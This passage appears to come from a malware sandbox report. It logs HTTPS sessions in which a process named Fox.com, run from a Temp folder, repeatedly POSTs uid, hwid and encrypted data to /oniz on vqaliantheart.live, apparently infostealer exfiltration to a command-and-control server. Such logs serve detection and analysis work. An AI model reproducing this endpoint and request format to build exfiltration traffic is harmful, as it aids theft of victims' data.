2\|./ZLOb<BA[%GZ)Xfh7@FvrR*/'b[wWJvxKy?o&hyoH}/t/rhJr)UL#{U}[!omRT@R["XGyM
2025-04-12 00:26:57 UTC	1369	IN	Data Raw: 7e 5e 10 d4 ff 86 e1 6d 55 03 e8 f9 1c b1 aa 07 16 20 5f d5 1e 76 44 8b 3e 74 3f b3 0a 2b 90 d4 79 98 3f 85 7a 21 a2 af 19 f5 4f 36 d1 ff e8 df a5 04 30 a1 14 b4 7e 81 bb c2 62 f1 e4 69 6d ae 62 7b ed 9e cd 10 21 05 01 3e 20 88 80 f9 fd 87 cd 0e df d4 ec 05 90 ee 1a 9e 64 e3 b2 c6 70 86 1e e2 46 30 1d d9 9f 3b 7f ee 10 36 51 8b d0 71 c0 ba 2a 21 c8 49 ed 28 2b 17 cd e5 5c 0c 67 ba b8 fe f5 9f 22 21 79 02 b6 93 c4 39 f8 ee 94 54 bb a8 71 bc 35 f8 84 c0 75 16 96 6b 1c 7a 1a d0 c4 f5 31 89 51 32 79 0d cc 7e 3d 89 b2 e5 d0 11 84 01 dc 0b 2c a5 32 d7 89 10 63 bf 61 e8 5b 3b a9 f7 33 b9 d5 80 d7 fb ac ed 7c 7a 48 52 a9 21 a5 6d 29 b9 29 90 0b 20 83 fd f1 b5 5f b8 87 0c 7a a3 d6 78 19 be 06 9f 65 62 b1 0a 7e c6 f5 5c c8 74 2b 7b ce 73 0e 7e cc d2 90 27 cc b1 6b Data Ascii: ~^mU _vD>t?+y?z!O60~bimb{!> dpF0;6Qq*!I(+\g"!y9Tq5ukz1Q2y~=,2ca[;3\|zHR!m)) _zxeb~\t+{s~'k
2025-04-12 00:26:57 UTC	1369	IN	Data Raw: 65 c8 96 f3 f5 cf ec 6a b5 00 39 c5 13 8a 97 58 2f 77 3a 36 63 69 bb 6f 27 14 50 a3 16 77 e2 39 01 b9 8e 0c 53 fb c7 6a e9 78 e1 b5 4e f5 6e e3 f2 d9 1e 7f 1c 5f 75 57 6c 00 c8 9a b0 c8 50 21 5d bb 3e 5b 2c 7f f7 dd 82 b5 b9 d6 2d 34 b6 6a 40 fb 60 01 d7 9a 00 ee 14 8c 8d a6 20 29 fe eb ef 0e b7 2c ef c8 3c 19 30 4b 5c a9 43 23 5a e6 10 e5 a4 74 96 e5 3d 88 1b 2a 3f ae 47 de d6 4b 5b 7f 64 f7 bb 53 76 f6 da f4 76 51 77 f2 c6 23 32 88 d0 ec af 20 df 7b e5 74 c2 62 3d b7 29 75 1d 5f 77 80 73 90 25 fd cc 38 50 ba fc 6d 65 77 0f ad 89 1c 78 8a 61 23 39 52 6e 8c 75 60 ef 55 30 06 63 82 bc 2d 62 5c ed 26 34 06 24 2e 2d c6 f1 3b f5 99 02 93 fd 44 d8 d2 e5 a8 85 9f 38 6d 59 84 a5 10 f5 b4 23 9d cf 6d 00 92 49 e0 0e da 78 3a cc 02 0d bd ee 76 20 3e 58 a0 e1 e1 ef Data Ascii: ej9X/w:6cio'Pw9SjxNn_uWlP!]>[,-4j@` ),<0K\C#Zt=*?GK[dSvvQw#2 {tb=)u_ws%8Pmewxa#9Rnu`U0c-b\&4$.-;D8mY#mIx:v >X
2025-04-12 00:26:57 UTC	1369	IN	Data Raw: 97 f8 9b 07 e2 ab f6 30 f3 fa 26 8e 60 95 12 17 e9 b7 01 dd 86 0b da 42 be f5 b4 fb a9 92 5f 0a 20 cd 37 20 c9 cb 3f 99 1f 03 f0 5a 71 4e 53 88 c5 75 26 77 45 60 02 ae 9f 7a 3b 6b 97 c5 a7 05 42 01 14 38 20 52 2a 0d d8 ab cf 50 3c 90 c9 0e 41 c5 f2 19 06 9d 46 39 c1 45 7a 55 b7 f0 c6 88 5d f1 ed 75 80 a6 16 6b ec 7b 46 5b 9e 9a 1f e5 46 48 20 3e 02 f4 59 76 3f 84 64 65 e4 75 09 10 6e f2 f9 6c b4 20 c2 03 a2 69 c2 fd f6 7f 61 2b 21 a8 42 6c 79 5a c1 5b 9a 50 7c 69 2e 8b fc 63 88 a8 f8 06 7a 7a 41 68 ba 95 00 b1 75 2c d5 da 6c ab fd 6d 00 5c 1c c2 3f f8 f9 45 7f 33 62 fa fa ea 9d 41 0e 60 34 ca 3f ec 6f 3a e9 d2 45 97 95 10 2f 97 7f 45 88 fa 59 cd 33 82 16 08 bb 71 25 89 56 66 7d 80 65 3a d9 7c 5e c4 f5 c9 a4 5e d3 dd a7 f4 98 80 75 a0 8c d1 2b 92 2d cd 7d Data Ascii: 0&`B_ 7 ?ZqNSu&wE`z;kB8 R*P<AF9EzU]uk{F[FH >Yv?deunl ia+!BlyZ[P\|i.czzAhu,lm\?E3bA`4?o:E/EY3q%Vf}e:\|^^u+-}
2025-04-12 00:26:57 UTC	1369	IN	Data Raw: de cd f8 bb 74 d0 2a ac d7 75 93 1f 8e e6 e7 dc 66 6f 79 ac 8b a0 54 78 48 1d 4e 02 df 81 3b 50 46 42 60 70 a7 5c bb ed cf 0d 59 25 c4 69 e3 88 7b fc de 6c f6 1b 27 23 ea 9d 3c a6 54 ef b8 e9 a8 e6 ca 01 ae 35 a7 af 29 31 e3 dd 5e b9 8a 55 3f 44 0f 82 62 11 e1 9d 57 62 d2 ae ec 5d 04 bc c1 73 5a f9 b1 84 e3 49 eb 1a 62 98 90 26 4e 0d e6 66 d7 7a 05 8a 0d 00 90 4f 59 2b 68 38 3b 96 de 6a 63 8d 6e f9 b3 a6 7e f1 39 4b de 05 e2 73 dc 23 6b 93 fe eb 39 97 e1 96 78 0c 3b fa e5 1a f8 f5 ce e9 3a ee fc 46 b6 54 71 56 a7 67 8d 08 c9 1f 35 d3 e0 4b 66 6d 16 80 e5 fb 76 30 43 8a 24 f3 65 98 aa 6a 87 81 e1 16 ae 11 29 75 6d 08 a2 ef ef cb 7a 49 c2 58 8d 83 96 91 ae c5 70 6c b9 73 68 2f 31 3a c2 24 1c 8e 31 a6 15 0c bb 49 ac bd 14 1f ea ee ee 3b c6 ed e4 57 22 45 03 Data Ascii: t*ufoyTxHN;PFB`p\Y%i{l'#<T5)1^U?DbWb]sZIb&NfzOY+h8;jcn~9Ks#k9x;:FTqVg5Kfmv0C$ej)umzIXplsh/1:$1I;W"E
2025-04-12 00:26:57 UTC	1369	IN	Data Raw: 93 22 01 63 bb 37 5e 8b a9 c3 5a 76 b3 ee 6b 72 31 57 5d 9c 01 be ab ba ce 58 b0 2a 85 4a a0 0c d8 d7 4a 4c 4f 1e a7 14 8a b3 d2 e4 a2 0c e9 0f 75 2c c4 ac 27 ad 2b 01 20 e7 29 94 e7 0c b0 8d f0 46 af 94 aa 12 80 fb ca ec 89 c1 ad 90 bb 96 b3 a1 6d a9 da 6a d3 05 4f f8 23 20 b2 5c c1 3c 53 d4 ad be 5c 84 79 a9 d5 71 7f 22 12 e0 e8 72 b8 73 18 6f 77 97 af 69 a4 64 1b b7 cc 99 90 c2 1f ab 8a df 44 b8 c2 f2 27 e9 b2 be 2d 10 45 e7 7a 94 49 bc 57 25 16 f8 cd bc b0 de 8a 2a f2 93 5c bd e6 b2 b3 43 73 b8 b7 52 96 18 9a 46 a2 a9 4a 5d c9 12 21 29 f0 89 6b 27 fc 1d 1b 7c 30 35 bc f0 1b 21 d6 5c 2e 39 a3 95 7a 76 16 3c 32 eb de eb b7 b4 95 c8 ed 21 4d 58 0a 24 4f 92 a2 29 22 5c f1 ef da 2a ba 04 b4 19 9f d3 0c 45 cc 0f fc 8a 62 39 bf 00 cb 3b 47 9a f6 16 2b c1 24 Data Ascii: "c7^Zvkr1W]XJJLOu,'+ )FmjO# \<S\yq"rsowidD'-EzIW%\CsRFJ]!)k'\|05!\.9zv<2!MX$O)"\*Eb9;G+$
2025-04-12 00:26:57 UTC	753	IN	Data Raw: 0d 22 b7 01 52 de d1 f6 74 be 31 7b ae 36 22 11 bf 07 2c 41 24 6f 40 ce 89 45 0d 80 39 53 87 1d 06 a4 3f e7 78 d1 c9 bd 16 02 63 b2 28 b3 30 eb 6a f1 fa 07 1f ae f6 9c fc 9b c8 f6 6b d4 93 fb c4 8f 82 6e 6b 84 60 38 e7 b2 f0 36 54 38 54 13 5a 96 74 8b ea d6 01 fb 3c 0f 62 67 25 d4 15 15 ea 0a 73 a1 da 39 a3 27 a8 58 8f 7c 4c 73 3b c9 68 ae e8 d1 fb a0 23 44 ed 13 38 b5 74 be 5b 33 5e 4c 36 5e af 62 2e 15 33 e6 89 1b 32 da 26 83 a3 06 73 83 2c e4 64 1e 83 38 76 43 16 df fd b7 11 6d 38 2b be 88 30 fb 1a fa 17 29 ac c3 ea 4a 99 4f a9 49 a6 5e c8 4f c7 2d 68 34 2b 29 e7 e0 c1 0e da 6b 13 e6 52 47 81 d9 f4 9f 8a d3 7e 91 99 8d 27 b2 25 e4 d5 f2 97 4e e2 cc 8c 60 1d 9f 80 32 99 d6 de ca b7 b5 31 3b 54 76 f9 a1 c7 36 7b a6 98 a6 c4 9c d2 94 8a d5 e8 a8 00 19 c9 Data Ascii: "Rt1{6",A$o@E9S?xc(0jknk`86T8TZt<bg%s9'X\|Ls;h#D8t[3^L6^b.32&s,d8vCm8+0)JOI^O-h4+)kRG~'%N`21;Tv6{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49726	104.21.5.162	443	7956	C:\Users\user\AppData\Local\Temp\306846\Fox.com

Timestamp	Bytes transferred	Direction	Data
2025-04-12 00:26:59 UTC	285	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KU1r6d44YOdIUC5712 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 19623 Host: vqaliantheart.live
2025-04-12 00:26:59 UTC	15331	OUT	Data Raw: 2d 2d 4b 55 31 72 36 64 34 34 59 4f 64 49 55 43 35 37 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 62 61 37 33 35 35 37 37 37 33 39 32 61 30 32 36 37 38 61 39 37 39 34 62 32 63 64 35 61 64 38 65 65 64 36 36 64 66 39 39 33 64 39 34 0d 0a 2d 2d 4b 55 31 72 36 64 34 34 59 4f 64 49 55 43 35 37 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 55 31 72 36 64 34 34 59 4f 64 49 55 43 35 37 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 Data Ascii: --KU1r6d44YOdIUC5712Content-Disposition: form-data; name="uid"ba7355777392a02678a9794b2cd5ad8eed66df993d94--KU1r6d44YOdIUC5712Content-Disposition: form-data; name="pid"2--KU1r6d44YOdIUC5712Content-Disposition: form-data; name="hwid"4
2025-04-12 00:26:59 UTC	4292	OUT	Data Raw: 94 c3 ef 18 f0 f9 09 9d 53 2b c8 36 da 49 1e 2f e3 28 63 ff 30 dc ea 7d 8c c8 36 93 d9 a3 ee 8e 7f 65 70 61 d5 c4 d5 db 5e 7d e6 de fd c4 0d 31 3c 84 07 f6 75 e5 a1 5f 30 61 cc 74 08 ea ba 68 39 f8 5a 75 47 52 b5 7f 95 6e ca ae d5 bd 32 89 4c 29 36 2e b6 75 77 c7 9f 50 c3 ae 9c e4 00 90 2d 13 d8 62 40 7d 84 09 52 3f f2 4e 90 86 4f 5c fd a3 d5 d2 b9 65 24 c0 71 10 68 20 9f 50 95 56 29 00 b1 69 1f 4b 09 fc d8 7b 39 98 77 b3 25 24 db 6c 1c 75 ef 89 cf 08 6e 24 86 b2 ae 55 4e 46 12 cb f2 3c 58 1f 8a 13 94 75 82 d1 48 c6 1e 89 5f ce 5f a7 83 f4 b2 8d dd 1f 8a 93 85 87 d1 28 e0 ac 5f e8 1c f5 82 cb b9 10 b5 68 ec e4 25 f4 16 36 07 4b 1c b5 4a ab 13 e9 b8 5f d2 9a c3 c0 74 11 8c 31 b0 98 64 d4 97 57 81 8c 7d e3 18 6f 07 48 fe 74 87 b9 8a 91 25 39 f9 66 8a a6 65 Data Ascii: S+6I/(c0}6epa^}1<u_0ath9ZuGRn2L)6.uwP-b@}R?NO\e$qh PV)iK{9w%$lun$UNF<XuH__(_h%6KJ_t1dW}oHt%9fe
2025-04-12 00:26:59 UTC	814	IN	HTTP/1.1 200 OK Date: Sat, 12 Apr 2025 00:26:59 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bc4qqXoG3zk57Q%2FmkQTBxcUEoYBf22RNXdqjB9Wurn0afrxtBqoP9C0OkJHvFtBnbx1jP1eAyHe%2BOs7UWDFoPxHlkHv%2FYLTqXEbLkiTSzve9AmqhTtMWQl0f27nVK19JEbbZM4I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee986768a86fcd-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=121920&min_rtt=121758&rtt_var=25848&sent=12&recv=22&lost=0&retrans=0&sent_bytes=2843&recv_bytes=20588&delivery_rate=33161&cwnd=252&unsent_bytes=0&cid=4e032e21aa6a1198&ts=674&x=0"
2025-04-12 00:26:59 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-12 00:26:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49727	104.21.5.162	443	7956	C:\Users\user\AppData\Local\Temp\306846\Fox.com

Timestamp	Bytes transferred	Direction	Data
2025-04-12 00:27:00 UTC	277	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ECtIWOIn02x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 8745 Host: vqaliantheart.live
2025-04-12 00:27:00 UTC	8745	OUT	Data Raw: 2d 2d 45 43 74 49 57 4f 49 6e 30 32 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 62 61 37 33 35 35 37 37 37 33 39 32 61 30 32 36 37 38 61 39 37 39 34 62 32 63 64 35 61 64 38 65 65 64 36 36 64 66 39 39 33 64 39 34 0d 0a 2d 2d 45 43 74 49 57 4f 49 6e 30 32 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 43 74 49 57 4f 49 6e 30 32 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 37 46 34 44 46 34 42 41 41 30 41 46 37 39 38 36 30 30 30 37 32 Data Ascii: --ECtIWOIn02xContent-Disposition: form-data; name="uid"ba7355777392a02678a9794b2cd5ad8eed66df993d94--ECtIWOIn02xContent-Disposition: form-data; name="pid"2--ECtIWOIn02xContent-Disposition: form-data; name="hwid"47F4DF4BAA0AF798600072
2025-04-12 00:27:01 UTC	823	IN	HTTP/1.1 200 OK Date: Sat, 12 Apr 2025 00:27:01 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B4GnWCycBbLgmD89UVz%2BfemU3aUp%2F8NWwcrhk2G595gFqvYTCcguyOPe%2FG3tWBY7FWqXgZll%2FuZybkZI%2FLxiZ6kGuJgp2riQD4e%2BWZAc%2B%2BaY9ctkZvZTf093WicHeQaEatNfn60%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee986e3d47d6df-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=126295&min_rtt=126191&rtt_var=26784&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9680&delivery_rate=31906&cwnd=252&unsent_bytes=0&cid=70327f32e5ceede4&ts=1088&x=0"
2025-04-12 00:27:01 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-12 00:27:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49728	104.21.5.162	443	7956	C:\Users\user\AppData\Local\Temp\306846\Fox.com

Timestamp	Bytes transferred	Direction	Data
2025-04-12 00:27:01 UTC	280	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QCYEOrKz6f11h User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 20408 Host: vqaliantheart.live
2025-04-12 00:27:01 UTC	15331	OUT	Data Raw: 2d 2d 51 43 59 45 4f 72 4b 7a 36 66 31 31 68 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 62 61 37 33 35 35 37 37 37 33 39 32 61 30 32 36 37 38 61 39 37 39 34 62 32 63 64 35 61 64 38 65 65 64 36 36 64 66 39 39 33 64 39 34 0d 0a 2d 2d 51 43 59 45 4f 72 4b 7a 36 66 31 31 68 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 51 43 59 45 4f 72 4b 7a 36 66 31 31 68 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 37 46 34 44 46 34 42 41 41 30 41 46 37 39 38 Data Ascii: --QCYEOrKz6f11hContent-Disposition: form-data; name="uid"ba7355777392a02678a9794b2cd5ad8eed66df993d94--QCYEOrKz6f11hContent-Disposition: form-data; name="pid"3--QCYEOrKz6f11hContent-Disposition: form-data; name="hwid"47F4DF4BAA0AF798
2025-04-12 00:27:01 UTC	5077	OUT	Data Raw: 76 a7 67 f4 91 b7 60 94 67 68 9d 92 30 47 99 a0 cc 04 ba a4 21 cf 6c e9 32 8d 2f d6 3c 16 63 a7 a9 7c 17 c3 f4 e6 d9 ab d9 a2 f9 01 08 2d 0c 62 8e ad b7 bc e3 10 63 08 ec bf bc 84 b1 3e 7f c7 02 e2 ec 93 46 75 6f ed e8 a6 41 57 1f b2 d6 f1 c4 f9 af 1e 71 ec 54 73 0e a8 44 d1 03 0b 2e c7 9f ac ac e0 8a 0e 6b 51 40 57 a1 80 87 74 1a 41 7c 4d c0 35 3e f4 54 36 71 1a 17 5e e3 62 65 3f 86 1c ce ec ab 83 f6 b2 da e9 b3 9e 01 4f 4a a8 0c 34 66 09 6e d0 8a 40 a7 57 e6 73 5b bf 0a 3a 3b c7 84 af b3 15 ab b7 22 e8 44 bd 9b df 10 52 6f ae 18 3b 6a 27 79 3b 6d 3b 77 b0 a6 0c b0 f5 72 4e 99 2b 73 2d 8a c9 99 f3 39 80 45 05 cf 29 4e dd 64 c4 af b4 78 f9 7e 97 9c 81 9f 21 3d fb 77 a6 25 5b f4 93 78 d1 a5 f0 06 09 10 45 ab cb b2 6f 4d 15 e0 1a b9 25 c4 f3 84 68 20 e2 e5 Data Ascii: vg`gh0G!l2/<c\|-bc>FuoAWqTsD.kQ@WtA\|M5>T6q^be?OJ4fn@Ws[:;"DRo;j'y;m;wrN+s-9E)Ndx~!=w%[xEoM%h
2025-04-12 00:27:02 UTC	808	IN	HTTP/1.1 200 OK Date: Sat, 12 Apr 2025 00:27:02 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sH9TNTXxMJr4iqIod3YqVXqxsgHsP5d4Nzv1WqD4n0uj12TCCBPtUDnRyrs5XDBtDVj1BnK6pIfFV8UEoubuVEbVUerKB7NN5Xm2rad8VXo7gFcuZjbVsb3N9ourK13ccHJVnmc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee987739af8203-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123339&min_rtt=123072&rtt_var=26119&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21368&delivery_rate=32758&cwnd=226&unsent_bytes=0&cid=e44b2ec74d218a4a&ts=654&x=0"
2025-04-12 00:27:02 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-12 00:27:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49729	104.21.5.162	443	7956	C:\Users\user\AppData\Local\Temp\306846\Fox.com

Timestamp	Bytes transferred	Direction	Data
2025-04-12 00:27:04 UTC	274	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=G446bt0n User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 3760 Host: vqaliantheart.live
2025-04-12 00:27:04 UTC	3760	OUT	Data Raw: 2d 2d 47 34 34 36 62 74 30 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 62 61 37 33 35 35 37 37 37 33 39 32 61 30 32 36 37 38 61 39 37 39 34 62 32 63 64 35 61 64 38 65 65 64 36 36 64 66 39 39 33 64 39 34 0d 0a 2d 2d 47 34 34 36 62 74 30 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 47 34 34 36 62 74 30 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 37 46 34 44 46 34 42 41 41 30 41 46 37 39 38 36 30 30 30 37 32 42 39 35 31 37 44 42 32 43 Data Ascii: --G446bt0nContent-Disposition: form-data; name="uid"ba7355777392a02678a9794b2cd5ad8eed66df993d94--G446bt0nContent-Disposition: form-data; name="pid"1--G446bt0nContent-Disposition: form-data; name="hwid"47F4DF4BAA0AF798600072B9517DB2C
2025-04-12 00:27:04 UTC	812	IN	HTTP/1.1 200 OK Date: Sat, 12 Apr 2025 00:27:04 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dCSREhezM1FytLwszw6AkTnxpVFcqtE6moUoxPtKJvItflYyJLIVCEygrS3TmBWMODFW540vaRWN%2FuHEOReLPno2AcmcpHloHrcSqI5tQcwGl1%2BeYU32EoWV0js%2BYRVO2n0UivY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92ee9886df6868ee-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=126812&min_rtt=124766&rtt_var=28471&sent=7&recv=11&lost=0&retrans=0&sent_bytes=2843&recv_bytes=4670&delivery_rate=32361&cwnd=253&unsent_bytes=0&cid=ab57a6e235150054&ts=576&x=0"
2025-04-12 00:27:04 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-12 00:27:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49730	104.21.5.162	443	7956	C:\Users\user\AppData\Local\Temp\306846\Fox.com

Timestamp	Bytes transferred	Direction	Data
2025-04-12 00:27:05 UTC	274	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ObdShEMW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 2676 Host: vqaliantheart.live
2025-04-12 00:27:05 UTC	2676	OUT	Data Raw: 2d 2d 4f 62 64 53 68 45 4d 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 62 61 37 33 35 35 37 37 37 33 39 32 61 30 32 36 37 38 61 39 37 39 34 62 32 63 64 35 61 64 38 65 65 64 36 36 64 66 39 39 33 64 39 34 0d 0a 2d 2d 4f 62 64 53 68 45 4d 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4f 62 64 53 68 45 4d 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 37 46 34 44 46 34 42 41 41 30 41 46 37 39 38 36 30 30 30 37 32 42 39 35 31 37 44 42 32 43 Data Ascii: --ObdShEMWContent-Disposition: form-data; name="uid"ba7355777392a02678a9794b2cd5ad8eed66df993d94--ObdShEMWContent-Disposition: form-data; name="pid"1--ObdShEMWContent-Disposition: form-data; name="hwid"47F4DF4BAA0AF798600072B9517DB2C
